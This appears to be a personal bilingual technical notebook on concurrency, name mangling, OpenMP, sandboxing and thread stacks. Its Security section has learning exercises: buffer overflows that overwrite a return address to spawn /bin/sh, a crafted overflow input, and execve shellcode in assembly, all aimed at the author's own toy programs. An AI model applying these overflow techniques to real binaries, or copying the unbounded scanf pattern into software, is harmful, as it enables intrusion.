Multithread 包含於 Concurrency
存在某情況屬於 Multithread 但不屬於 Parallelism
也存在某情況屬於 Multithread 也屬於 Parallelism
存在某情況屬於 Concurrency 和 Parallelism 但不屬於 Multithread
存在某情況不屬於 Concurrency 但屬於 Parallelism

Concurrency¶

重點 1 : “多個處理同時存在“
- 同時存在即可，不一定要同時執行
- Multithread on single-core CPU 就是同時存在但輪流執行
重點 2 : “結果可以是 non-deterministic“
- 運算結果可以跟沒有 Concurrency 時不同
- Multithread on multi-core CPU 沒加上 Data Synchronization 就是 non-deterministic
- 例如輸出的順序不同即是 non-deterministic

Concurrency 的確抽象層次比 Multithread 高，允許同時有好幾隻 process 但每隻只有一個 thread (user & kernel)，也允許執行在多個不同的作業系統上。反正東西有在處理就好，管你在哪裡、怎麼分配，很多人幫我跑就對了。 Concurrency 底下可以用 Multithread 來支援這樣的行為。

Wikipedia - Concurrency (computer science)

Multithread¶

重點 : “多個 thread“

Multithread 則是層級比 Concurrency 低的，為單一作業系統上的狀況，一隻 process 有多個 thread 共用資源在跑。

Parallelism¶

重點 1 : “多個處理同時進行“
- 是真的同時，而不是輪流做
- Multithread on single-core CPU 就不符合這點
重點 2 : “結果是 deterministic“
- 運算結果跟沒有 Parallelism 的情況要一模一樣
- Multithread on multi-core CPU 要加上 Data Synchronization 才符合這點

Parallel 雖然和 Concurrency 非常相關，但是兩個是不同的概念， Parallel 的重點是事情真的 “同時” 在處理，可以分成 bit-level、instruction level、data、task parallelism。

parallelism without concurrency
- bit-level parallelism
concurrency without parallelism
- multitasking by time-sharing on a single-core CPU
Wikipedia - Parallel computing
Wikipedia - Very long instruction word
Wikipedia - Parallel processing
Parallelism Is Not Concurrency | Existential Type

Name Mangling¶

name mangling 又稱為 name decoration，是程式語言中常使用的技術，用來需要獨一無二名稱的問題。藉由此種方式 compiler 可以提供更多的資訊給 linker。這種需求隨著語言允許在不同 namespace 有相同名稱的東西或是不同 signatures (function overloading) 而提高。

C++¶

測試範例：

// mangling.cpp

#include <cstdio>

namespace mangled
{
    class test
    {
    public:
        void func1()
        {
            printf("test\n");
        }
    };
}

class test
{
public:
    void func1()
    {
        printf("test\n");
    }
};

int main() {
    mangled::test foo;
    test bar;
    foo.func1();
    bar.func1();
    return 0;
}

編譯：

$ g++ -c mangling.cpp -o mangling.o
$ objdump -Sr mangling.o    # without demangling
$ objdump -CSr mangling.o   # with demangling
$ g++ -S mangling.cpp -o mangling.s
$ cat mangling.s

可以觀察到 mangled::test::func 變成了 _ZN7mangled4test5func1Ev ， demangling 也可以利用 binutils 裡的 c++filt 來做，例如：

$ c++filt -n _ZN7mangled4test5func1Ev
mangled::test::func1()
$ c++filt -n _ZN4test5func1Ev
test::func1()

GCC 對 C++ 做 name mangling 的一些規則：

所有 mangled 符號都由 “_Z” 開頭
巢狀名稱的話在 “_Z” 後面加上 “N” 作為開頭
接著為一連串字串長度 + 名稱
最後面加上 “E” 作為結尾
最後加上 return type
- int -> i
- float -> f
- void -> v

Python¶

在 Python 中，用雙底線開頭、零個或一個底線結尾的 class member 會做 name mangling，可以達到某種程度 private 的效果，在用 dir 看 attribute 的時候，可以發現符合這 pattern 的 class member 會被轉成 “_ClassName” + member name，而在 instance 單純使用原本的 member name 來存取會發現拿不到原本 member 的值 (因為名字不同了)。

class Test1(object):

    __mangled_var = ":P"
    normal_var    = ":("

    def __mangled_name(self):
        print("I'm mangled     : ", self.__mangled_var)

    def normal_name(self):
        print("I'm not mangled : ", self.normal_var)

    def name(self):
        self.__mangled_name()
        self.normal_name()


class Test2(Test1):
    __mangled_var = ":O"
    normal_var    = ":|"

########################################

print("=" * 10)

t1 = Test1()
print(dir(t1))
t1.name()
t1.normal_var     = ":(("
t1.__mangled_var  = ":PP"
t1.name()

print("=" * 10)

t2 = Test2()
print(dir(t2))
t2.name()
t2.normal_var     = ":(("
t2.__mangled_var  = ":PP"
t2.name()

print("=" * 10)

########################################

''' Output
==========
['_Test1__mangled_name', '_Test1__mangled_var', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'name', 'normal_name', 'normal_var']
I'm mangled     :  :P
I'm not mangled :  :(
I'm mangled     :  :P
I'm not mangled :  :((
==========
['_Test1__mangled_name', '_Test1__mangled_var', '_Test2__mangled_var', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'name', 'normal_name', 'normal_var']
I'm mangled     :  :P
I'm not mangled :  :|
I'm mangled     :  :P
I'm not mangled :  :((
==========
'''

注意的點：

Test1 的 class member “__mangled_name” 變成 “_Test1__mangled_name”
Test1 的 class member “__mangled_var” 變成 “_Test1__mangled_var”
instance 用 .__mangled_var 無法改到原本的 member，要用 ._Test1__manbled_var 才可以 access 到
Test2 繼承 Test1 後，用 __mangled_var 宣告新的 member 會跟原本的隔開，不會蓋到、影響到原本 access 的 function

Reference¶

Wikipedia - Name Mangling

Objdump¶

Get ARM Instruction By Objdump On x86¶

target :

0xDEFF 0xF8DF
0xDEFF 0xF107
0xDEFF 0x461F
0xDEFF 0x4607

$ pacman -S arm-none-eabi-gcc       # for arm-none-eabi-gcc
$ pacman -S arm-none-eabi-binutils  # for arm-none-eabi-objdump

.thumb
.globl _start
_start:
reset:
_instruction1: .word 0xDEFFF8DF     # ARM 的 .word 可以塞各種東西
_instruction2: .word 0xDEFFF107
_instruction3: .word 0xDEFF461F
_instruction4: .word 0xDEFF4607

$ arm-none-eabi-gcc -c tmp.S
$ arm-none-eabi-gcc -nostdlib tmp.o -o tmp
$ arm-none-eabi-objdump -d tmp.o

tmp.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   defff8df        mrcle   8, 7, APSR_nzcv, cr15, cr15, {6}

00000004 <_instruction2>:
   4:   defff107        nrmlee  f7, f7

00000008 <_instruction3>:
   8:   deff461f        mrcle   6, 7, r4, cr15, cr15, {0}

0000000c <_instruction4>:
   c:   deff4607        cdple   6, 15, cr4, cr15, cr7, {0}

OpenHMPP¶

Introduction¶

OpenHMPP 中的 HMPP 指的是 Hybrid Multicore Parallel Programming，為一個針對 Heterogeneous computing (異質運算) 的標準，目標是在不涉及複雜的 GPU programming 的情況下利用硬體來加速。

OpenHMPP 提供的是一個 directive-based programming model，最初由 CAPS (Compiler and Architecture for Embedded and Superscalar Processors) 進行。

OpenHMPP 提供了很多可以設定的參數

OpenHMPP 包含了一些 OpenACC 沒包含的 topic：

data-flow extension
tracing interface
auto-tuning APIs
GPU-accelerated library integration

Reference¶

Open House¶

這裡的 Open House 指的是「交大企業校園徵才小組」，是一個歷史悠久的組織，從 1988 年開始運作，組織目的是要成為企業跟學生的中間人，藉由規劃說明會、講座、就業博覽會等活動來增加學生跟企業間接觸的機會。一學年活動主要分成兩個，上半學年是研發替代役的徵才，下半學年則是一般性的徵才活動。

個人因緣際會下進了資訊組幫忙，第一年是當組員，第二年則是當組長，資訊組一直是組織裡面人數極少的一組，負責項目大致如下：

網站維護、修改
Mail Server 維護
BBS 維護
FTP 維護
其他雜項

網站在我接手的時候是用 PHP 加上 Yii framework 寫的，不過我個人之前用的都是 Python 加 Django，所以不是最熟悉的環境。伺服器的 OS 則是使用 Arch Linux， Arch Linux 是我每天都在用的系統，所以使用上非常習慣 XD。 BBS 的話則是 Maple BBS，而且由於多年前一些因素從舊機器移出來，是用 QEMU 裡面跑 32 bits Debian 後，接 port 出來的。

總而言之，上面有些老東西，網站架構就現在來看也不夠乾淨，許多地方要更改也很麻煩，中間有一直在慢慢改善，不過畢竟不是全職，時間內能改善的還是有限，中間也有自己用 Django 重新做過一個新網站，不過需要的功能沒有全部完成就卸任了，看後續有沒有人能整個改善這網站囉 :P

OpenMP¶

Introduction¶

OpenMP 全名叫 Open Multi-Processing，是由 OpenMP Architecture Review Board 這個非營利組織所訂定的跨平台 API 規範，目標是要幫現有的程式快速的加上多核心支援，語言支援有 C、C++、Fortran，內容包含 compiler directives、library routines、environment variables。

Compiler Support¶

GCC 從 4.2 開始支援 OpenMP
Clang 在 3.6 時還沒有完整的支援

OpenMP Version	GCC	icc	Clang
2.5	4.2	10.1
3.0	4.4	11.0
3.1	4.7		3.7
4.0	4.9

Current Compiler Version
- GCC : 5.1, 2015-04-22
- Clang : 3.6, 2015-02-27
- Intel C++ Compiler : 15.0.2, 2015-01-22
GCC、Clang : -fopenmp

$ gcc -fopenmp hello.c -o hello

Example¶

// sleep sort

#include <cstdio>
#include <vector>
#include <unistd.h> // sleep

void sleep_sort(std::vector<unsigned long long> &data) {

    const auto length = data.size();

    #pragma omp parallel num_threads(length)
    {
        #pragma omp for
        for(unsigned long i = 0; i < length; i++) {
            sleep(data[i]);
            printf("%llu\n", data[i]);
        }
    }
}

int main(int argc, char *argv[]) {

    std::vector<unsigned long long> data(argc-1);

    #pragma omp parallel for
    for(int i = 0; i < argc-1; i++) {
        sscanf(argv[i+1], "%llu", &data[i]);
    }

    sleep_sort(data);

    return 0;
}

OpenMP 會利用 directive 來增加 multithread 支援，起手勢為 #pragma omp

在 GCC 中， -fopenmp 會在 link 時加上 libgomp 這個 runtime library， libgomp 會由 CPU 核心數來決定要開的 thread 數

在 C/C++ 標準中，如果遇到不支援的 #pragma 就直接忽略，所以這樣增加 OpenMP 的支援不會造成舊 compiler 編譯時出現問題。

經由 omp.h 可以存取一個 runtime library，但是這通常不需要，如果要的話可以從 #define _OPENMP 得知對於不支援的 compiler 會如何處理。

Syntax¶

parallel¶

使用 parallel pragma 來開始一個 parallel block，程式會 runtime 決定要開多少 thread，平行化的範圍是 parallel pragma 後的 statement 或 block，結束後 thread 就會收回。

#pragma omp parallel
{
    // Code inside this region runs in parallel.
    printf("Hello!\n");
}

實作上，GCC 會產生一個 magic function，把相關的 code 都放進去，如此一來 block 裡個變數都是 function 的 local variable (在不同 thread 也是 local)。 ICC 則是使用類似 fork 的機制，而非使用 magic function。兩種實作都會正常運作。

不同 context 間的變數的分享是自動處理的，有時候是用 reference，有時候是用 register 變數 (離開 parallel block 或是執行 flush 時會清掉)

OpenMP 的平行化只要搭配 if clause 就可以使用 condition 來開關

#pragma omp parallel for if(parallelism_enabled)
for(int c=0; c<n; ++c)
    handle(c);

Loop directive: for¶

#pragma omp for
for(int n = 10; n < 20; ++n) {
    printf("%d\n", n);
}

這段 code 和以下 code 等價 :

int this_thread = omp_get_thread_num(), num_threads = omp_get_num_threads();
int start = (this_thread    ) * (20 - 10) / num_threads + 10;
int end   = (this_thread + 1) * (20 - 10) / num_threads + 10;
for(int n = start; n < end; ++n)
    printf("%d\n", n);

其中， omp_get_thread_num 取得的是現在這個 thread 的編號， omp_get_num_threads 取得的是總共有多少 thread。在只有單條 thread 的情況下，this_thread 就會是 0， num_threads 就會是 1， start 和 end 的話則是把 for 裡的範圍分配給各個 thread，每個 thread 會拿到 loop 裡的不同 section，如此一來每個 section 會各自平行執行。

Scheduling¶

預設的 schedule 是 static，在進入 loop 時，各 loop 會各自決定要計算的部份。

#pragma omp for schedule(static)
for(int c=0; c<n; ++c)
    handle(c);

在 dynamic 的 schedule 中，不會事先決定好每個 thread 要跑哪個部份，每個 thread 會去詢問 OpenMP runtime library 來取得 iteration number 然後運算，算完後再要下一個。常和 ordered 一起使用，或是不同的 iteration 會需要不同時間來執行時。

#pragma omp for schedule(dynamic)
for(int c=0; c<n; ++c)
    handle(c);

另外可以指定一次分配多少個 iteration 來減少詢問 OpenMP runtime library 的次數 :

#pragma omp for schedule(dynamic, 3)
for(int c=0; c<n; ++c)
    handle(c);

ordered¶

指定 code 中的某部份需要照順序執行

#pragma omp for ordered schedule(dynamic)
for(int n=0; n<100; ++n)
{
    files[n].compress();

    #pragma omp ordered
    send(files[n]);
}

Sections¶

指定多個 block 可以平行執行

#pragma omp sections
{
    { Work1(); }
    #pragma omp section
    { Work2();
      Work3(); }
    #pragma omp section
    { Work4(); }
}

#pragma omp parallel // starts a new team
{
    //Work0(); // this function would be run by all threads.

    #pragma omp sections // divides the team into sections
    {
      // everything herein is run only once.
      { Work1(); }
      #pragma omp section
      { Work2();
        Work3(); }
      #pragma omp section
      { Work4(); }
    }

    //Work5(); // this function would be run by all threads.
}

tasks (OpenMP 3.0)¶

struct node { node *left, *right; };
extern void process(node* );
void postorder_traverse(node* p)
{
    if (p->left)
        #pragma omp task // p is firstprivate by default
        postorder_traverse(p->left);
    if (p->right)
        #pragma omp task // p is firstprivate by default
        postorder_traverse(p->right);
    #pragma omp taskwait
    process(p);
}

有了起手勢 #pragma omp 後，可以接以下東西 :

parallel	建 thread
for	把 for 切給各個 thread
num_threads(N)	指定要開 N 個 thread
ordered	指定 code 中的某部份需要照順序執行
sections / section	指定多個 block 可以平行執行
atomic	只能用於簡單的運算 (例如加法)
critical
reduction
flush
private
firstprivate
shared
lastprivate
default
barrier	一條分界線，後面的 code 會等所有 thread 把前面都執行完後才開始
nowait	這個 statement 或 block 可以不用等，先執行完的 thread 可以繼續 (例如搭配 for 來使用)
single
master
collapse(N)	(搭配 for 使用) 處理 N 層的 Nested Loops

OpenMP 2.5 中，for 裡的 iteration variable 必需是 signed integer。 OpenMP 3.0 中，還可以是 unsigned integer、pointer、constant-time random access iterator， iterator 的 case 會使用 std::distance() 來判斷 loop 的次數。

Problem¶

Nested Loops¶

#pragma omp parallel for
for(int y=0; y<25; ++y)
{
    #pragma omp parallel for
    for(int x=0; x<80; ++x)
    {
      tick(x,y);
    }
}

裡面那層的 OpenMP code 實際上不會平行化。

OpenMP 3.0 中加入了 collapse 可以解決這個狀況 :

#pragma omp parallel for collapse(2)
for(int y=0; y<25; ++y)
{
    for(int x=0; x<80; ++x)
    {
      tick(x,y);
    }
}

效能方面，因為 libgomp 夠聰明，所以這種多層的平行化不會一直建立和回收 thread，建立次數 (clone system call) 會和 concurrent threads 的最大數量一樣， parallel 不單純是 pthread_create 和 pthread_join 的結合。

OpenMP Spec 4.0¶

Introduction¶

Threading Concept¶

名詞	解釋
thread	一個 execution entity，配有一個 stack 和 associated static memory (稱為 threadprivate memory)
OpenMP thread	由 OpenMP runtime system 管理的 thread
thread-safe routine	多個 thread 同時執行下去也不會出錯的 routine
processor	決定同時可以有多少 OpenMP threads 的實作 (implementation defined hardware unit)
device	implementation defined logical execution engine (一個 device 可以有多個 processor)
host device	OpenMP 程式上執行的 device
target device	A device onto which code and data may be offloaded from the host device

OpenMP Language Terminology¶

名詞	解釋
base language
base program
structured block
...

Questions¶

single program multiple data (SPMD) constructs
tasking constructs
device constructs
worksharing constructs
synchronization constructs
OpenMP v.s. Pthread

Reference¶

Open Source Porjects I Love¶

[GitHub] rtfd/readthedocs.org
- 這個 repo 包含整個 readthedocs.org 所使用的 build code
- Read the Docs 可以從各種 repo 抓檔案下來，用 Sphinx 把 reStructuredText 生成 HTML、PDF、EPUB
[GitHub] django/django
- Python 的 Open Source Web framework
- 注重安全性
- 有方便好用的 ORM
[GitHub] neovim/neovim
- 把原本的 Vim 進行整理、改善
- 比原本更開放的討論風氣
- 更現代化的走向

Plan 9¶

POSIX¶

“POSIX” == “Portable Operating System Interface”

POSIX.1-2008

use “clock_gettime” instead of “gettimeofday”¶

在 POSIX 2008 時，已經把 gettimeofday 淘汰，推薦使用 clock_gettime ，目前 Linux 和 FreeBSD 都有支援，但是 Mac OS 和 Windows 都不支援。

POSIX.1-2008 marks gettimeofday() as obsolete, recommending
the use of clock_gettime(2) instead.

Project Measurement¶

(紀錄一些衡量專案的資訊)

General¶

Testing 夠不夠多
是否有 Continuous Integration
註解夠不夠多
文件夠不夠多
Community 是否活躍
支援的平台多不多 (x86_64/ARM/...)
Coding Style 是否一致
版本控制的 Commit Message 是否清楚
編譯、執行、安裝方式有沒有寫清楚

C & C++¶

編譯參數是否嚴格
- -Wall 是基本
- -Wextra 開啟不包含在 -Wall 之內的參數
- -pedantic 關閉 extension
- -std=XXX 指定規範
- -Werror 嚴格地把 Warning 當成 Error 處理
- -D_FORTIFY_SOURCE=2
使否使用 Sanitizer 或 Valgrind 做檢查
Build System (CMake/Automake/...)

Reference¶

Neovim - Gradually introduce more compiler flags

Regular Expression Library¶

Sandbox¶

Wikipedia - Sandbox (computer security)

seccomp¶

Wikipedia - seccomp
Linux kernel’s feature since version 2.6.12
seccomp-bpf : system call filter
used by
- OpenSSH
- vsftpd
- Chrome/Chromium
- LXD
- Firefox
- Firefox OS

PyPy’s sandboxing¶

PyPy’s sandboxing features

NaCl¶

Wikipedia - Google Native Client
在 sandbox 裡安全地執行 Intel x86、ARM、MIPS 的子集
接近原生速度
Software Fault Isolation (SFI) model
- 限制可以執行的 code (Control Flow Integrity → CFI)
- 限制哪些資料可以被存取 (Data Integrity)
- 限制 I/O 介面
被用於 ZeroVM
- Wikipedia - ZeroVM
Native Client - Google Chrome
- Sandbox Internals
- PNaCl Bitcode Reference Manual
Native Client - Frequently Asked Questions
Native Client:A Sandbox for Portable, Untrusted x86 Native Code
- Google - Publication Data
- Slide
LLVM on the Web Using Portable Native Client to run Clang/LLVM in the Browser
- Slide

Security¶

Useful Commands¶

file
hexdump
ldd
objdump
strace
ltrace
valgrind
dmesg

Binary to Assembly¶

$ sudo pacman -S nasm
$ ndisasm BINARY

Memory Checking¶

$ sudo pacman -S valgrind-multilib  # for both x86_64 and x86

IDA Pro¶

Buffer Overflow¶

Buffer Overflow - Example 1¶

hack EIP in your own code

#include <stdio.h>
#include <stdlib.h>     // system

void func() {
    printf("buffer overflow\n");
    system("/bin/sh");
}

void bof() {
    char buf[10];
    *(int *) &buf[10 + 4] = func;   // buf[10] => ebp, buf[14] => eip
}

int main() {
    bof();
    return 0;
}

/*

In order to address all memory, pointer is 32 bits (4 bytes) on 32 bits machine

        +-----------------+ high address
        |                 |
        |                 |
        +-----------------+
        | Stack         | |
        |               | |
        |               v |
        +-----------------+
        |                 |
        | ...             |
        |                 |
        +-----------------+
        | (main)          |
        | return address  |
        | (eip)           |
EBP+12  |                 |
        +-----------------+
        | (main)          |
        | saved ebp       |
        |                 |
EBP+8   |                 |
        +-----------------+
        | (bof)           |        EIP
        | return address  |        EIP
        | (eip)           |        EIP
EBP+4   |                 | <----- EIP
        +-----------------+
        | (bof)           |        EBP
        | saved ebp       |        EBP
        |                 |        EBP
EBP     |                 | <----- EBP
        +-----------------+
        | buf[9]          |
        | buf[8]          |
        | buf[7]          |
        | buf[6]          |
        | buf[5]          |
        | buf[4]          |
        | buf[3]          |
        | buf[2]          |
        | buf[1]          |
EBP-10  | buf[0]          | <----- buf
        +-----------------+
        | ...             |
        |                 |
        +-----------------+ low address

*/

compile

$ gcc -m32 bof_1.c -o bof_1

Buffer Overflow - Example 2¶

hack EIP in your own code (with arguments)

#include <stdio.h>
#include <stdlib.h>     // system

void func() {
    printf("buffer overflow\n");
    system("/bin/sh");
}

void bof(long a, long b, long c, long d,
         long e, long f, long g, long h) {

    printf("bof test\n");
    char buf[10];
    *(int *) &buf[10 + 8 + 4] = func;

}

int main(int argc, char *argv[]) {
    printf("start\n");
    bof(1, 2, 3, 4, 5, 6, 7, 8);
    printf("end\n");
    return 0;
}

/*

In order to address all memory, pointer is 32 bits (4 bytes) on 32 bits machine

        +-----------------+ high address
        |                 |
        |                 |
        +-----------------+
        | Stack         | |
        |               | |
        |               v |
        +-----------------+
        |                 |
        | ...             |
        |                 |
        +-----------------+
        | (main)          |
        | return address  |
        | (eip)           |
        |                 |
        +-----------------+
        | (main)          |
        | ???             |
        | (20 bytes)      |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        +-----------------+
        | (main)          |
        | saved ebp       |
        |                 |
        |                 |
        +-----------------+
        | ???             |
        | 8 bytes         |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | h               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | g               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | f               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | e               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | d               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | c               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | b               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |
        | a               |
        |                 |
        |                 |
        +-----------------+
        | (bof)           |        EIP
        | return address  |        EIP
        | (eip)           |        EIP
EBP+4   |                 | <----- EIP
        +-----------------+
        | (bof)           |        EBP
        | saved ebp       |        EBP
        |                 |        EBP
EBP     |                 | <----- EBP
        +-----------------+
        | ???             |
        | 8 bytes         |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        |                 |
        +-----------------+
        | buf[9]          |
        | buf[8]          |
        | buf[7]          |
        | buf[6]          |
        | buf[5]          |
        | buf[4]          |
        | buf[3]          |
        | buf[2]          |
        | buf[1]          |
        | buf[0]          | <----- buf
        +-----------------+
        | ...             |
        |                 |
        +-----------------+ low address

*/

compile

$ gcc -m32 bof_2.c -o bof_2

Buffer Overflow - Example 3¶

hack EIP by scanf

(notice: scanf 和 gets 都會在結尾加上 ‘0’)

#include <stdio.h>
#include <stdlib.h>     // system

void func() {
    printf("buffer overflow\n");
    system("/bin/sh");
}

void bof(long a, long b, long c, long d,
         long e, long f, long g, long h) {

    printf("bof test\n");
    char buf[10];
    scanf("%s", buf);

}

int main(int argc, char *argv[]) {
    printf("start\n");
    bof(1, 2, 3, 4, 5, 6, 7, 8);
    printf("end\n");
    return 0;
}

compile

$ gcc -m32 bof_3.c -o bof_3

generate input

$ readelf -a ./bof_3  | grep func   # func's address is 0x080484fb
    40: 080484fb    41 FUNC    GLOBAL DEFAULT   13 func
$ python -c "print('0123456789123456781234' + chr(0xfb) + chr(0x84) + chr(0x04) + chr(0x08))" > input.utf8
$ iconv -f utf-8 -t iso-8859-1 input.utf8 > input.latin1    # use eight-bit ASCII extensions instead of UTF8
$ ./bof_3 < input.latin1
start
bof test
buffer overflow
Segmentation fault (core dumped)

Buffer Overflow - Example 4¶

[todo]

inject your code (shellcode)

#include <stdio.h>

void bof(long a, long b, long c, long d,
         long e, long f, long g, long h) {

    printf("bof test\n");
    char buf[10];
    scanf("%s", buf);

}

int main(int argc, char *argv[]) {
    printf("start\n");
    bof(1, 2, 3, 4, 5, 6, 7, 8);
    printf("end\n");
    return 0;
}

Assembly Practice¶

寫到 stdout：

.data
msg:
    .ascii "Hello World!\n"

.text
.globl _start

_start:
    movl $4, %eax   # use the write syscall
    movl $1, %ebx   # write to stdout
    movl $msg, %ecx # use string of msg
    movl $13, %edx  # write 13 characters
    int $0x80       # make syscall

    movl $1, %eax   # use the _exit syscall
    movl $0, %ebx   # error code 0
    int $0x80       # make syscall

使用 execve system call

.data
cmd:
    .ascii "/bin/sh"

.text
.globl _start

_start:
    movl $11, %eax  # use the execve syscall
    movl $cmd, %ebx # use string of cmd
    int $0x80       # make syscall

    movl $1, %eax   # use the _exit syscall
    movl $0, %ebx   # error code 0
    int $0x80       # make syscall

ignore _exit, make it shorter

.data
cmd:
    .ascii "/bin/sh"

.text
.globl _start

_start:
    movl $11, %eax  # use the execve syscall
    movl $cmd, %ebx # use string of cmd
    int $0x80       # make syscall

compile

$ gcc -nostdlib practice.s -o practice

觀察¶

$ gdb /usr/lib32/libc.so.6
(gdb) disassemble execve
Dump of assembler code for function execve:
0x000b29a0 <+0>:     push   %ebx
0x000b29a1 <+1>:     mov    0x10(%esp),%edx  # put address of **envp into edx register
0x000b29a5 <+5>:     mov    0xc(%esp),%ecx   # put address of **argv into ecx register
0x000b29a9 <+9>:     mov    0x8(%esp),%ebx   # put address of *filename into ebx register
0x000b29ad <+13>:    mov    $0xb,%eax        # put 0xb in eax register; 0xb == execve in the internal system call table (32 bits Linux kernel)
0x000b29b2 <+18>:    call   *%gs:0x10
0x000b29b9 <+25>:    pop    %ebx
0x000b29ba <+26>:    cmp    $0xfffff001,%eax
0x000b29bf <+31>:    jae    0xb29c2 <execve+34>
0x000b29c1 <+33>:    ret
0x000b29c2 <+34>:    call   0x12158d <__x86.get_pc_thunk.cx>
0x000b29c7 <+39>:    add    $0x100639,%ecx
0x000b29cd <+45>:    mov    -0xe4(%ecx),%ecx
0x000b29d3 <+51>:    neg    %eax
0x000b29d5 <+53>:    add    %gs:0x0,%ecx
0x000b29dc <+60>:    mov    %eax,(%ecx)
0x000b29de <+62>:    or     $0xffffffff,%eax
0x000b29e1 <+65>:    ret
End of assembler dump.
(gdb) disassemble system
Dump of assembler code for function system:
0x0003ae00 <+0>:     sub    $0xc,%esp
0x0003ae03 <+3>:     mov    0x10(%esp),%eax
0x0003ae07 <+7>:     call   0x121585 <__x86.get_pc_thunk.dx>
0x0003ae0c <+12>:    add    $0x1781f4,%edx
0x0003ae12 <+18>:    test   %eax,%eax
0x0003ae14 <+20>:    je     0x3ae20 <system+32>
0x0003ae16 <+22>:    add    $0xc,%esp
0x0003ae19 <+25>:    jmp    0x3a8a0 <do_system>
0x0003ae1e <+30>:    xchg   %ax,%ax
0x0003ae20 <+32>:    lea    -0x55d5f(%edx),%eax
0x0003ae26 <+38>:    call   0x3a8a0 <do_system>
0x0003ae2b <+43>:    test   %eax,%eax
0x0003ae2d <+45>:    sete   %al
0x0003ae30 <+48>:    add    $0xc,%esp
0x0003ae33 <+51>:    movzbl %al,%eax
0x0003ae36 <+54>:    ret
End of assembler dump.

$ gdb /usr/lib/libc.so.6
(gdb) disassemble execve
Dump of assembler code for function execve:
0x00000000000b7c90 <+0>:     mov    $0x3b,%eax
0x00000000000b7c95 <+5>:     syscall
0x00000000000b7c97 <+7>:     cmp    $0xfffffffffffff001,%rax
0x00000000000b7c9d <+13>:    jae    0xb7ca0 <execve+16>
0x00000000000b7c9f <+15>:    retq
0x00000000000b7ca0 <+16>:    mov    0x2e41b1(%rip),%rcx        # 0x39be58
0x00000000000b7ca7 <+23>:    neg    %eax
0x00000000000b7ca9 <+25>:    mov    %eax,%fs:(%rcx)
0x00000000000b7cac <+28>:    or     $0xffffffffffffffff,%rax
0x00000000000b7cb0 <+32>:    retq
End of assembler dump.
(gdb) disassemble system
Dump of assembler code for function system:
0x000000000003f820 <+0>:     test   %rdi,%rdi
0x000000000003f823 <+3>:     je     0x3f830 <system+16>
0x000000000003f825 <+5>:     jmpq   0x3f2b0 <do_system>
0x000000000003f82a <+10>:    nopw   0x0(%rax,%rax,1)
0x000000000003f830 <+16>:    lea    0x124449(%rip),%rdi        # 0x163c80
0x000000000003f837 <+23>:    sub    $0x8,%rsp
0x000000000003f83b <+27>:    callq  0x3f2b0 <do_system>
0x000000000003f840 <+32>:    test   %eax,%eax
0x000000000003f842 <+34>:    sete   %al
0x000000000003f845 <+37>:    add    $0x8,%rsp
0x000000000003f849 <+41>:    movzbl %al,%eax
0x000000000003f84c <+44>:    retq
End of assembler dump.

Buffer Overflow - Example 5¶

[todo]

Buffer Overflow - Example 6¶

[todo]

Spark¶

Introduction to Spark

strace¶

-k
在紀錄每個 system call 之後加上 stack trace

原先來自於 strace-plus 後來 merge 回上游

需要在編譯時有開啟 libunwind 支援

systemd¶

Reference¶

systemd System and Service Manager
- systemd 在 freedesktop.org 的網站
- 有許多相關文章、Documentation 的連結
[GitHub] systemd/systemd
[2013] The Biggest Myths
- 這篇文章提出了 30 個作者碰到的迷思 XD
- systemd 有 configuration 可以選，如果全選的話會編成許多不同 binary，分別儘量用最小的權限平行執行。
- 速度不是 systemd 的主要目標，但是是 systemd 把事情最對的一大副作用 (?)
- 可以用任何語言來撰寫 systemd 的 service
[2011] Why systemd?

Thread Stack¶

檢查系統上每個 thread stack 可以拿到多少 RAM：

# Linux
$ ulimit -s
8192    # 8192 KB = 8 MB

$ ulimit -a
Maximum size of core files created                           (kB, -c) 0
Maximum size of a process’s data segment                     (kB, -d) unlimited
Maximum size of files created by the shell                   (kB, -f) unlimited
Maximum size that may be locked into memory                  (kB, -l) 1024
Maximum resident set size                                    (kB, -m) unlimited
Maximum number of open file descriptors                          (-n) 1024
Maximum stack size                                           (kB, -s) 8192
Maximum amount of cpu time in seconds                   (seconds, -t) unlimited
Maximum number of processes available to a single user           (-u) 23231
Maximum amount of virtual memory available to the shell      (kB, -v) unlimited

# FreeBSD
$ ulimit -s
40960

$ ulimit -a
cpu time               (seconds, -t)  5400
file size           (512-blocks, -f)  unlimited
data seg size           (kbytes, -d)  25600
stack size              (kbytes, -s)  40960
core file size      (512-blocks, -c)  unlimited
max memory size         (kbytes, -m)  65536
locked memory           (kbytes, -l)  40960
max user processes              (-u)  256
open files                      (-n)  100
virtual mem size        (kbytes, -v)  unlimited
swap limit              (kbytes, -w)  unlimited
sbsize                   (bytes, -b)  unlimited
pseudo-terminals                (-p)  unlimited

# Windows 上預設 thread stack limit 是 1 MB

設定檔： /etc/security/limits.conf

ex:

* soft stack 2048
* hard stack 2048

man pthread_create

On **Linux/x86-32**, the default stack size for a new thread is **2 megabytes**.
Under the NPTL threading implementation,
if the **RLIMIT_STACK** soft resource limit at the time the program started has any value other than "unlimited",
then it determines the default stack size of new threads.
Using **pthread_attr_setstacksize**(3),
the stack size attribute can be explicitly set in the attr argument used to create a thread,
in order to obtain a stack size other than the default.

